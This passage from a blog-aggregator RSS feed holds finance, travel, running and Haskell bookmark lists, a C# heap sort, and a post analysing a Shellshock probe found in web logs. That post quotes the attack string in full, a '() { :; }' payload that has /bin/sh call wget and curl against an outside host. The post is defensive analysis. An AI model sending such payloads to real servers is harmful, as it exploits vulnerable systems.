&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=uUtSdTaiLCE"&gt;Killik Explains: Retirement Saving - Lifetime ISAs vs Pensions - YouTube&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://frugalfoxes.home.blog/2019/01/15/lifestrategy-100-vs-ftse-global-all-cap-index-fund-what-are-the-differences"&gt;LifeStrategy® 100 vs FTSE Global All Cap Index Fund – What are the differences?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/lifetime-ISAs/"&gt;Lifetime ISAs: free 1000 towards your first home or retirement&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/lifetime-ISAs/"&gt;Lifetime ISAs: free £33,000 towards your first home or retirement&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://monevator.com/low-cost-index-trackers/"&gt;Low cost index trackers that will save you money (Monevator)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.madfientist.com/podcast"&gt;Mad Fientist: Financial Independence Podcast&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bogleheads.org/wiki/Managing_a_windfall"&gt;Managing a windfall - Bogleheads&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thefirestarter.co.uk/meet-the-firestarter/"&gt;Meet The FIREstarter! - theFIREstarter&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://millennialmoney.com/"&gt;Millennial Money (Next Generation Personal Finance)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.workforcemillionaire.com/moms-rules-of-finance/"&gt;Mom's Rules of Finance (Workforce Millionaire - Investing in Your Future)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://monevator.com/"&gt;Monevator — Make more money, invest profitably, retire early&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://monevator.com/compare-uk-cheapest-online-brokers/"&gt;Monevator: Compare the UK’s cheapest online brokers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.monito.com/"&gt;Money transfer: compare ways to send money online with Monito&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.monolune.com/"&gt;Monolune (trading tools, articles)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dstockhammer.github.io/monthly-savings-juggler/"&gt;Monthly Savings Juggler&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tools.morningstar.co.uk/uk/xray/editholdings.aspx?LanguageId=en-GB"&gt;Morningstar® Integrated Web Tools™ - Instant X-Ray&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ukpersonal.finance/mortgages/"&gt;Mortgages - UKPersonalFinance Wiki&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mrmoneymustache.com/"&gt;Mr. Money Mustache — Early Retirement through Badassity&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nsandi.com"&gt;National Savings and Investments NS&amp;amp;I&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nasdaq.com/symbol/"&gt;NDAQ Stock Quote - Nasdaq, Inc. Common Stock Price - Nasdaq&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.telegraph.co.uk/money/transferwise/overseas-mortgages/"&gt;Overseas mortgages: everything you need to know&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/reclaim/parking-ticket-appeals/"&gt;Parking Ticket Appeals: Fight unfair fines - Money Saving Expert&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/FIREUK/comments/1d0w438/paying_missing_uk_national_insurance/"&gt;Paying missing UK national insurance contributions - good for FIRE?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marcusmichaels.github.io/personal-finance-flowchart"&gt;Personal Finance Flowchart (github)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/personal-savings-allowance/"&gt;Personal Savings Allowance 2018/19 - up to £1,000 interest tax-free&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://imgur.com/ZBaOGJj"&gt;Plotted my income and outgoings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.portfolio-performance.info/portfolio/"&gt;Portfolio Performance (crossplatform app)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://engaging-data.com/will-money-last-retire-early/"&gt;Post-Retirement Calculator: Will My Money Survive Early Retirement? Visualizing Longevity Risk - Engaging Data&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/premium-bonds-calculator/"&gt;Premium Bond Probability Calculator&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/premium-bonds/"&gt;Premium Bonds: are they worth it? - MoneySavingExpert&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/aopvqe/purchasing_a_new_property_with_a_baby_on_the_way/"&gt;Purchasing a new property with a baby on the way..? : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://reboapp.co.uk/"&gt;rebo - Portfolio management software for UK private investors&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marcusmichaels.github.io/personal-finance-flowchart/"&gt;Reddit Personal Finance Flowchart (interactive)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://moneytothemasses.com/owning-a-home/mortgages/should-you-fix-your-mortgage-now"&gt;Remortgaging in 2019 - is now the right time to fix &amp;amp; for how long? - Money To The Masses&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://rockstarfinance.com/"&gt;Rockstar Finance (Curating the best of money and personal finance)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://directory.rockstarfinance.com/personal-finance-blogs"&gt;Rockstar Finance's Directory of Bloggers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://media.morningstar.com/uk/MEDIA/Comprehensive_update_on_the_Safe_Withdrawal_Rate.pdf"&gt;Safe withdrawal rate (morningstar)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kalzumeus.com/2012/01/23/salary-negotiation/"&gt;Salary Negotiation: Make More Money, Be More Valued | Kalzumeus Software&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sankeymatic.com/build/"&gt;SankeyMATIC (BETA): Build a diagram (redditor expenses/wages)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thesavingninja.com/sipp-and-isa-fee-comparison/"&gt;Saving Ninja: What Platform to Use Now? (iWeb vs Charles Stanley vs Halifax share dealing vs Aviva vs Vanguard Investor)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/savings-accounts-best-interest/"&gt;Savings accounts: 1.5% easy access or up to 2.7% fixed&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/financialindependence/comments/9bhg0j/so_you_want_to_be_a_landlord/"&gt;So, you want to be a landlord?? : financialindependence&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/eki7yt/started_my_dream_job_and_now_i_am_pregnant/"&gt;Started my dream job and now I am pregnant : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.choosefi.com/starting-late-but-retiring-rich/"&gt;Starting Late But Retiring Rich: The Story Of Stephen And Becky ChooseFI&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/stocks-shares-isas/"&gt;Stocks &amp;amp; shares ISAs: find the best platform - MSE&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jlcollinsnh.com/2014/01/27/stocks-part-xxi-investing-with-vanguard-for-europeans/"&gt;Stocks — Part XXI: Investing with Vanguard for Europeans&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/banking/tax-rates/#rate"&gt;Tax rates 2018/19: tax bands explained - MoneySavingExpert&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/banking/tax-rates/"&gt;Tax rates 2018/19: tax bands explained - MoneySavingExpert&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.choosefi.com/10-pillars-of-fi/"&gt;The 10 Pillars Of FI ChooseFI&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theescapeartist.me"&gt;The Escape Artist (You can escape to financial freedom)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.financial-hacker.com/"&gt;The Financial Hacker – A new view on algorithmic trading&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lemonfool.co.uk/"&gt;The Lemon Fool (Discussion forums for UK shares, Personal Finance and Investment)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.financialsamurai.com/the-rise-of-stealth-wealth-guide-to-staying-invisible-from-society-rage/"&gt;The Rise Of Stealth Wealth&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://i.imgur.com/Qi3rF3S.png"&gt;The world according to fleet-float equity market capitilization&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=s75GcslrfOE"&gt;Tim Bennett Explains: Which is best - an ISA or a SIPP? - YouTube&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/best-cash-isa/"&gt;Top Cash ISAs: 1.35% easy access, 2.3% fixed - MSE&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cisi.org/cisiweb2/cisi-website/about-us/press-release/2018/09/05/uk-consumers-offered-free-personal-financial-planning-sessions-worth-up-to-500-in-cisi-financial-planning-week-3--10-october-makedreamshappen"&gt;UK Financial Planning Week&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ukpersonal.finance/uk-funds-faq/"&gt;UK Funds FAQ&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;UKPersonalFinance redditor quote: &amp;quot;Deprogrammed myself from the zeitgeist of brands/labels. I either buy cheap or I buy quality dependent on application, but in either event I ignore the label.&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gov.uk/employee-tax-codes/numbers"&gt;Understanding your employees' tax codes: What the numbers mean - GOV.UK&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://firehub.eu/blogs/country/united-kingdom"&gt;United Kingdom | Countries (FIREhub.eu)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.avios.com/gb/en_gb/spend/zone-map?from=flightSearch"&gt;Use the Avios Rewards Flight Calculator to plan flights&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.trustnet.com/factsheets/o/ngly/vanguard-ftse-global-all-cap-index"&gt;Vanguard FTSE Global All Cap Index A Acc GBP (trustnet)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.morningstar.co.uk/uk/funds/snapshot/snapshot.aspx?id=F00000XXVV&amp;amp;tab=13"&gt;Vanguard FTSE Global All Cap Index Fund Investor A GBP Accumulation (Morningstar)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://markets.ft.com/data/funds/tearsheet/summary?s=GB00BD3RZ582:GBP"&gt;Vanguard FTSE Global All Cap Index Fund Investor A GBP Accumulation, GB00BD3RZ582:GBP summary - FT.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.trustnet.com/factsheets/o/acdv/vanguard-lifestrategy-100-equity"&gt;Vanguard LifeStrategy 100% Equity A Acc (Trustnet)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.trustnet.com/factsheets/o/acdt/vanguard-lifestrategy-80-equity"&gt;Vanguard LifeStrategy 80% Equity A (Trustnet)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vanguardinvestor.co.uk/investing-explained/what-are-lifestrategy-funds"&gt;Vanguard LifeStrategy® Funds&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vanguardinvestor.co.uk/need-help/answer/whats-a-bed-and-isa-and-how-do-i-do-it"&gt;Vanguard: Helping you reach your investing goals | Vanguard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vanguardinvestor.co.uk/investments/vanguard-lifestrategy-40-equity-fund-accumulation-shares/portfolio-data"&gt;Vanguard: LifeStrategy® 40% Equity Fund - Accumulation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vanguardinvestor.co.uk/what-we-offer/personal-pension/pension-calculator"&gt;Vanguard’s simple Pension Calculator&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.financialsamurai.com/the-way-of-the-financial-samurai-core-principles-for-achieving-financial-independence-and-living-your-best-life/"&gt;Way Of The Financial Samurai: Core Principles For Financial Independence&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/FIREUK/comments/99ys2d/what_are_some_good_net_worth_tracking_tools_for/"&gt;What are some good net worth tracking tools? (for the UK) : FIREUK&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.co-oplegalservices.co.uk/media-centre/articles-may-aug-2017/what-does-a-declaration-of-trust-do/"&gt;What Does a Declaration of Trust / Deed of Trust Do?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://awealthofcommonsense.com/2014/02/worlds-worst-market-timer/"&gt;What if You Only Invested at Market Peaks?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/What-is-the-smartest-financial-habit-that-you-have"&gt;What is the smartest financial habit that you have? - Quora&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://oec.world/en/visualize/tree_map/hs92/export/gbr/show/all/2018/"&gt;Where does export to? (2018) | OEC - The Observatory of Economic Complexity&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://monevator.com/why-a-total-world-equity-index-tracker-is-the-only-index-fund-you-need"&gt;Why a world equity index tracker?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/Why-are-most-people-broke"&gt;Why are most people broke? - Quora&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.thebalance.com/why-do-bond-prices-and-yields-move-in-opposite-directions-417082"&gt;Why Bond Prices and Yields Move in Opposite Directions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/dschqz/why_do_we_believe_that_the_price_of_stocks_will/"&gt;Why do we believe that the price of stocks will grow over the long term&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=zrCo0m5gSfc"&gt;Why Jack Bogle Doesn't Like ETFs (Forbes - YouTube)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.stonebanks.co.uk/"&gt;www.stonebanks.co.uk (capital gains calculator)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.x-o.co.uk/"&gt;X-O.co.uk - Execution Only Share Dealing (broker)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 02 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/money-bookmarks</guid></item><item><title>Scotland travel bookmarks</title><link>https://xenodium.com/scotland-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.airbnb.co.uk/rooms/7908227"&gt;The Open Book (AirBnB + a bookshop)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/tehbus/status/884464692030308352"&gt;Where to eat in Edinburgh? (Twitter)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 02 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/scotland-travel-bookmarks</guid></item><item><title>St. Petersburg travel bookmarks</title><link>https://xenodium.com/st-petersburg-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://fabergemuseum.ru/"&gt;Faberge Muse&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://duckduckgo.com/"&gt;Find a place to eat Koryushka (fried fish)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vovanovaque.com/russia/saintpetersburg/pyshechnaya.html"&gt;Get &amp;quot;Pyshka&amp;quot; at Pyshechnaya in Saint Petersburg: local donut shop with 60 years of history&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.hermitagemuseum.org/wps/portal/hermitage/?lng=en"&gt;Hermitage Museum&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://eng.cathedral.ru/spasa_na_krovi/"&gt;Savior on the Spilled Blood Church&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.stolle.ru/en/menu/saint-petersburg"&gt;Stolle (pie shop)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 02 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/st-petersburg-travel-bookmarks</guid></item><item><title>8 week half-marathon training</title><link>https://xenodium.com/8-week-half-marathon-training</link><description>&lt;p&gt;An 8-week training schedule:&lt;/p&gt;
&lt;p&gt;WEEK   MON    TUE               WED        THU         FRI    SAT        SUN&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;1      Rest   5 Km              5 Km       &lt;s&gt;Cycle&lt;/s&gt;   Rest   5 Km       &lt;s&gt;8 Km&lt;/s&gt; 9 Km
29:56             29:54                         29:45      1:00:55
2      Rest   7 Km              5 Km       &lt;s&gt;Cycle&lt;/s&gt;   Rest   5 Km       10 Km
41:36             27:52                         28:23      59:17
3      Rest   &lt;s&gt;8 Km&lt;/s&gt; 8.1 Km   5 Km       &lt;s&gt;Cycle&lt;/s&gt;   Rest   5 Km       12 Km
49:29             29:33                         27:50      1:06
4      Rest   8 Km              Rest       8 Km        Rest   5 Km       14 Km
46:39                        49:28              29:40
5      Rest   8 Km              Rest       &lt;s&gt;8 Km&lt;/s&gt;    Rest   &lt;s&gt;6 Km&lt;/s&gt;   &lt;s&gt;16 Km&lt;/s&gt; 10 Km
48:50                                                      53:38
6      Rest   &lt;s&gt;8 Km&lt;/s&gt;          &lt;s&gt;8 Km&lt;/s&gt;   8 Km        Rest   8 Km       19 Km
51:39              37:09      2:02
7      Rest   8 Km              Rest       12 Km       Rest   8 Km       16 Km
52:55
8      Rest   8 Km              Rest       5 Km        5 K    Rest       Race&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 02 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/8-week-half-marathon-training</guid></item><item><title>Haskell bookmarks</title><link>https://xenodium.com/haskell-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/argumatronic/status/1006583364265152513?s=12"&gt;A gentle introduction to profunctors talk&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=11606290"&gt;A Haskell Reading List (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.stephendiehl.com/posts/essential_haskell.html"&gt;A Haskell Reading List&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17818295"&gt;Advice for Haskell beginners (2017) (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lexi-lambda.github.io/blog/2018/02/10/an-opinionated-guide-to-haskell-in-2018/"&gt;An opinionated guide to Haskell in 2018&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/25587599-haskell-programming"&gt;Haskell Programming: From First Principles&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://diogocastro.com/blog/2018/10/17/haskells-kind-system-a-primer/"&gt;Haskell's kind system - a primer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://learnyouahaskell.com/higher-order-functions"&gt;Higher order functions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/commercialhaskell/intero"&gt;Intero: Complete interactive development program for Haskell&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://people.cs.aau.dk/~normark/prog3-03/html/notes/higher-order-fu_themes-intr-section.html"&gt;Introduction to higher-order functions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://begriffs.com/posts/2016-05-14-pragmatic-haskell-1.html"&gt;Pragmatic Haskell for Beginners, Lecture 1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackage.haskell.org/user/RenzoCarbonara"&gt;Renzo Carbonara (Hackage)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 02 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/haskell-bookmarks</guid></item><item><title>Links - May 2nd, 2016</title><link>https://faingezicht.com/links/2016/05/02/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 02 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/05/02/links/</guid></item><item><title>Heap sort implementation in C#</title><link>https://allanrbo.blogspot.com/2016/05/heap-sort-implementation-in-c.html</link><description>Here's a heap sort implementation in C#:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="csharp" name="code"&gt;
class HeapSort
{
    public void Sort(int[] a)
    {
        // Turn the array into a max heap
        for (int i = (a.Length / 2) - 1; i &amp;gt;= 0; i--)
        {
            MaxHeapify(a, i, a.Length);
        }

        // Remove the largest element from the max heap and put it on the end,
        // and then max heapify the heap which is now 1 smaller
        for (int i = a.Length - 1; i &amp;gt;= 1; i--)
        {
            Swap(a, 0, i);
            MaxHeapify(a, 0, i);
        }
    }

    private void MaxHeapify(int[] a, int i, int n)
    {
        int idxLeft  = (i + 1) * 2 - 1;
        int idxRight = (i + 1) * 2 - 1 + 1;

        int largest = i;

        if (idxLeft &amp;lt; n &amp;amp;&amp;amp; a[idxLeft] &amp;gt; a[largest])
        {
            largest = idxLeft;
        }

        if (idxRight &amp;lt; n &amp;amp;&amp;amp; a[idxRight] &amp;gt; a[largest])
        {
            largest = idxRight;
        }

        if (largest != i)
        {
            Swap(a, i, largest);
            MaxHeapify(a, largest, n);
        }
    }

    private void Swap(int[] a, int i, int j)
    {
        int tmp = a[i];
        a[i] = a[j];
        a[j] = tmp;
    }
}
&lt;/pre&gt;</description><author>Allan's Blog</author><pubDate>Mon, 02 May 2016 02:33:43 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2016/05/heap-sort-implementation-in-c.html</guid></item><item><title>Gotham: Season 2</title><link>https://olshansky.info/tv/gotham_season_2/</link><description>Olshansky's review of Gotham: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 01 May 2016 20:07:36 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/gotham_season_2/</guid></item><item><title>Sausalito</title><link>https://faingezicht.com/photos/2016/05/01/sausalito/</link><description>One of my friends had a birthday party in Sausalito this past weekend, so we took the ferry and enjoyed the sun. You'll find lots of blue in the pictures below.</description><author>Avy Faingezicht</author><pubDate>Sun, 01 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/05/01/sausalito/</guid></item><item><title>Indirect shellshock security scanning via other people's logfiles</title><link>https://da-data.blogspot.com/2016/04/indirect-shellshock-security-scanning.html</link><description>One of my friends noted that he'd spotted a &lt;a href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)"&gt;shellshock-style&lt;/a&gt; user-agent string in his web log files, looking like:&lt;br /&gt;
&lt;br /&gt;
&lt;span&gt;24.71.248.218 - - [28/Apr/2016:16:55:30 -0500] "GET / HTTP/1.1" 403 4961 "-" "() { :; }; /bin/sh -c 'wget http://closettransfer.com/IPTRANSITTEST -O /dev/null;wget1 http://closettransfer.com/IPTRANSITTEST -O /dev/null;curl http://closettransfer.com/IPTRANSITTEST -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/IPTRANSITTEST;fetch -/dev/null http://closettransfer.com/IPTRANSITTEST'"&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Curious about whether it was a legitimate domain (perhaps owned), I googled the domain name:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyWhI4YLmps7RnPUi8TH5LaRBr44cKA2ZIrihLwB6kAjU0FfFa-YYSqZYDmmsYqUb3UdaeDPfr_iUfHJzdcSxDxJZUFQMsZJZBLNznvGF-8Df5bG1NUNIlJ9oweWMAX322FWCWArVoWeE/s1600/Screenshot+2016-04-30+13.44.59.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyWhI4YLmps7RnPUi8TH5LaRBr44cKA2ZIrihLwB6kAjU0FfFa-YYSqZYDmmsYqUb3UdaeDPfr_iUfHJzdcSxDxJZUFQMsZJZBLNznvGF-8Df5bG1NUNIlJ9oweWMAX322FWCWArVoWeE/s400/Screenshot+2016-04-30+13.44.59.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
Seasonally-appropriate designer labels. &amp;nbsp;Doesn't really seem like the kind of thing a white-hat security scanner would be pretending to be. &amp;nbsp;Was the domain compromised and I should try to notify them? Hmm. &amp;nbsp;What the heck - try to download the page:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: xx-small;"&gt;&lt;span&gt;&amp;nbsp;--2016-04-30 13:38:26--&amp;nbsp;&amp;nbsp;http://closettransfer.com/IPTRANSITTEST&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: xx-small;"&gt;&lt;span&gt;&lt;span class="s1"&gt;Resolving closettransfer.com (closettransfer.com)... 98.138.19.143&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: xx-small;"&gt;&lt;span&gt;&lt;span class="s1"&gt;Connecting to closettransfer.com (closettransfer.com)|98.138.19.143|:80... connected.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: xx-small;"&gt;&lt;span&gt;&lt;span class="s1"&gt;HTTP request sent, awaiting response...&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="s1"&gt;404 Not Found&lt;/span&gt;&lt;br /&gt;
&lt;span class="s1"&gt;2016-04-30 13:38:26 ERROR 404: Not Found.&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;span class="s1"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span class="s1"&gt;&lt;span style="font-family: inherit;"&gt;They weren't sending a malicious payload - and the scanning had sent the results to &lt;/span&gt;&lt;span&gt;/dev/null&lt;/span&gt;&lt;span style="font-family: inherit;"&gt; anyway. &amp;nbsp;Googling IPTRANSITTEST turned up a few hits in other people's logfiles... wait a second. &amp;nbsp;Logfiles. &amp;nbsp;What if closettransfer.com had left its logfiles visible in some way, and an attacker was using this as a blind drop to find the results of their scanning without needing to collect any data back from the scanning nodes?&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="s1"&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="s1"&gt;&lt;span style="font-family: inherit;"&gt;My first guess proved startlingly lucky:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
